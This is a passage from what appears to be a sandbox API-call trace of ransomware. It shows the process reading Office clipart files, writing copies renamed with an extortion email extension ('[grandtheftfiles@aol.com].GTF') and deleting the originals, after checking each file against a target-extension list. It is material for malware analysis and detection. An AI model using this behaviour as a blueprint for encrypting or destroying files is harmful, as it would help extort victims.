	[0088.019] lstrlenW (lpString=".pdf") returned 4
	[0088.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.019] lstrlenW (lpString=".xls") returned 4
	[0088.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.019] lstrlenW (lpString=".xlsx") returned 5
	[0088.019] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.019] lstrlenW (lpString=".ppt") returned 4
	[0088.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0088.019] lstrlenW (lpString=".zip") returned 4
	[0088.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.019] lstrlenW (lpString=".rar") returned 4
	[0088.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.019] lstrlenW (lpString=".bz2") returned 4
	[0088.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.019] lstrlenW (lpString=".7z") returned 3
	[0088.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0088.019] lstrlenW (lpString=".dbf") returned 4
	[0088.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0088.019] lstrlenW (lpString=".1cd") returned 4
	[0088.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0088.019] lstrlenW (lpString=".jpg") returned 4
	[0088.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.019] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.019] lstrlenW (lpString="FD01548_.WMF") returned 12
	[0088.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0088.020] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=10316) returned 1
	[0088.020] CloseHandle (hObject=0x368) returned 1
	[0088.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x220
	[0088.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0088.021] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.021] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.021] GetLastError () returned 0x0
	[0088.021] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x284c, lpOverlapped=0x0) returned 1
	[0088.307] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x2850, lpOverlapped=0x0) returned 1
	[0088.308] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.308] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.308] SetEndOfFile (hFile=0x390) returned 1
	[0088.628] CloseHandle (hObject=0x390) returned 1
	[0088.629] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.634] SetEndOfFile (hFile=0x368) returned 1
	[0088.635] CloseHandle (hObject=0x368) returned 1
	[0088.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.636] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 1
	[0088.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0088.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0088.636] lstrlenW (lpString=".doc") returned 4
	[0088.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.636] lstrlenW (lpString=".docx") returned 5
	[0088.636] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.636] lstrlenW (lpString=".pdf") returned 4
	[0088.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.636] lstrlenW (lpString=".xls") returned 4
	[0088.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.636] lstrlenW (lpString=".xlsx") returned 5
	[0088.636] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.636] lstrlenW (lpString=".ppt") returned 4
	[0088.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0088.636] lstrlenW (lpString=".zip") returned 4
	[0088.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.637] lstrlenW (lpString=".rar") returned 4
	[0088.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.637] lstrlenW (lpString=".bz2") returned 4
	[0088.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.637] lstrlenW (lpString=".7z") returned 3
	[0088.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0088.637] lstrlenW (lpString=".dbf") returned 4
	[0088.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0088.637] lstrlenW (lpString=".1cd") returned 4
	[0088.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0088.637] lstrlenW (lpString=".jpg") returned 4
	[0088.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0088.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0088.637] lstrlenW (lpString=".doc") returned 4
	[0088.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.637] lstrlenW (lpString=".docx") returned 5
	[0088.637] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.637] lstrlenW (lpString=".pdf") returned 4
	[0088.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.637] lstrlenW (lpString=".xls") returned 4
	[0088.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.637] lstrlenW (lpString=".xlsx") returned 5
	[0088.637] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.637] lstrlenW (lpString=".ppt") returned 4
	[0088.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0088.638] lstrlenW (lpString=".zip") returned 4
	[0088.638] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.638] lstrlenW (lpString=".rar") returned 4
	[0088.638] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.638] lstrlenW (lpString=".bz2") returned 4
	[0088.638] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.638] lstrlenW (lpString=".7z") returned 3
	[0088.638] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0088.638] lstrlenW (lpString=".dbf") returned 4
	[0088.638] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0088.638] lstrlenW (lpString=".1cd") returned 4
	[0088.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0088.638] lstrlenW (lpString=".jpg") returned 4
	[0088.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.638] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.638] lstrlenW (lpString="HH00057_.WMF") returned 12
	[0088.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0088.638] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=3764) returned 1
	[0088.638] CloseHandle (hObject=0x368) returned 1
	[0088.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x220
	[0088.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0088.639] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.639] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0088.639] GetLastError () returned 0x0
	[0088.639] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xeb4, lpOverlapped=0x0) returned 1
	[0088.641] WriteFile (in: hFile=0x39c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec0, lpOverlapped=0x0) returned 1
	[0088.642] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.642] WriteFile (in: hFile=0x39c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.642] SetEndOfFile (hFile=0x39c) returned 1
	[0088.642] CloseHandle (hObject=0x39c) returned 1
	[0088.642] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.642] SetEndOfFile (hFile=0x368) returned 1
	[0088.643] CloseHandle (hObject=0x368) returned 1
	[0088.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 1
	[0088.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0088.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0088.643] lstrlenW (lpString=".doc") returned 4
	[0088.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.643] lstrlenW (lpString=".docx") returned 5
	[0088.644] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.644] lstrlenW (lpString=".pdf") returned 4
	[0088.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.644] lstrlenW (lpString=".xls") returned 4
	[0088.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.644] lstrlenW (lpString=".xlsx") returned 5
	[0088.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.644] lstrlenW (lpString=".ppt") returned 4
	[0088.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0088.644] lstrlenW (lpString=".zip") returned 4
	[0088.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.644] lstrlenW (lpString=".rar") returned 4
	[0088.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.644] lstrlenW (lpString=".bz2") returned 4
	[0088.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.644] lstrlenW (lpString=".7z") returned 3
	[0088.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0088.644] lstrlenW (lpString=".dbf") returned 4
	[0088.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0088.644] lstrlenW (lpString=".1cd") returned 4
	[0088.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0088.644] lstrlenW (lpString=".jpg") returned 4
	[0088.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0088.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0088.644] lstrlenW (lpString=".doc") returned 4
	[0088.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.644] lstrlenW (lpString=".docx") returned 5
	[0088.644] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.644] lstrlenW (lpString=".pdf") returned 4
	[0088.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.644] lstrlenW (lpString=".xls") returned 4
	[0088.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.645] lstrlenW (lpString=".xlsx") returned 5
	[0088.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.645] lstrlenW (lpString=".ppt") returned 4
	[0088.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0088.645] lstrlenW (lpString=".zip") returned 4
	[0088.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.645] lstrlenW (lpString=".rar") returned 4
	[0088.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.645] lstrlenW (lpString=".bz2") returned 4
	[0088.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.645] lstrlenW (lpString=".7z") returned 3
	[0088.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0088.645] lstrlenW (lpString=".dbf") returned 4
	[0088.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0088.645] lstrlenW (lpString=".1cd") returned 4
	[0088.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0088.645] lstrlenW (lpString=".jpg") returned 4
	[0088.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.645] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.645] lstrlenW (lpString="HH00084_.WMF") returned 12
	[0088.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0088.646] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=2472) returned 1
	[0088.646] CloseHandle (hObject=0x368) returned 1
	[0088.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x220
	[0088.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0088.647] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.647] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0088.647] GetLastError () returned 0x0
	[0088.647] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x9a8, lpOverlapped=0x0) returned 1
	[0088.649] WriteFile (in: hFile=0x39c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x9b0, lpOverlapped=0x0) returned 1
	[0088.649] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.649] WriteFile (in: hFile=0x39c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.650] SetEndOfFile (hFile=0x39c) returned 1
	[0088.650] CloseHandle (hObject=0x39c) returned 1
	[0088.650] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.650] SetEndOfFile (hFile=0x368) returned 1
	[0088.651] CloseHandle (hObject=0x368) returned 1
	[0088.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 1
	[0088.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0088.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0088.651] lstrlenW (lpString=".doc") returned 4
	[0088.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.651] lstrlenW (lpString=".docx") returned 5
	[0088.651] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.651] lstrlenW (lpString=".pdf") returned 4
	[0088.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.651] lstrlenW (lpString=".xls") returned 4
	[0088.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.651] lstrlenW (lpString=".xlsx") returned 5
	[0088.651] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.651] lstrlenW (lpString=".ppt") returned 4
	[0088.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0088.651] lstrlenW (lpString=".zip") returned 4
	[0088.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.651] lstrlenW (lpString=".rar") returned 4
	[0088.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.652] lstrlenW (lpString=".bz2") returned 4
	[0088.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.652] lstrlenW (lpString=".7z") returned 3
	[0088.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0088.652] lstrlenW (lpString=".dbf") returned 4
	[0088.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0088.652] lstrlenW (lpString=".1cd") returned 4
	[0088.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0088.652] lstrlenW (lpString=".jpg") returned 4
	[0088.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0088.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0088.652] lstrlenW (lpString=".doc") returned 4
	[0088.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.652] lstrlenW (lpString=".docx") returned 5
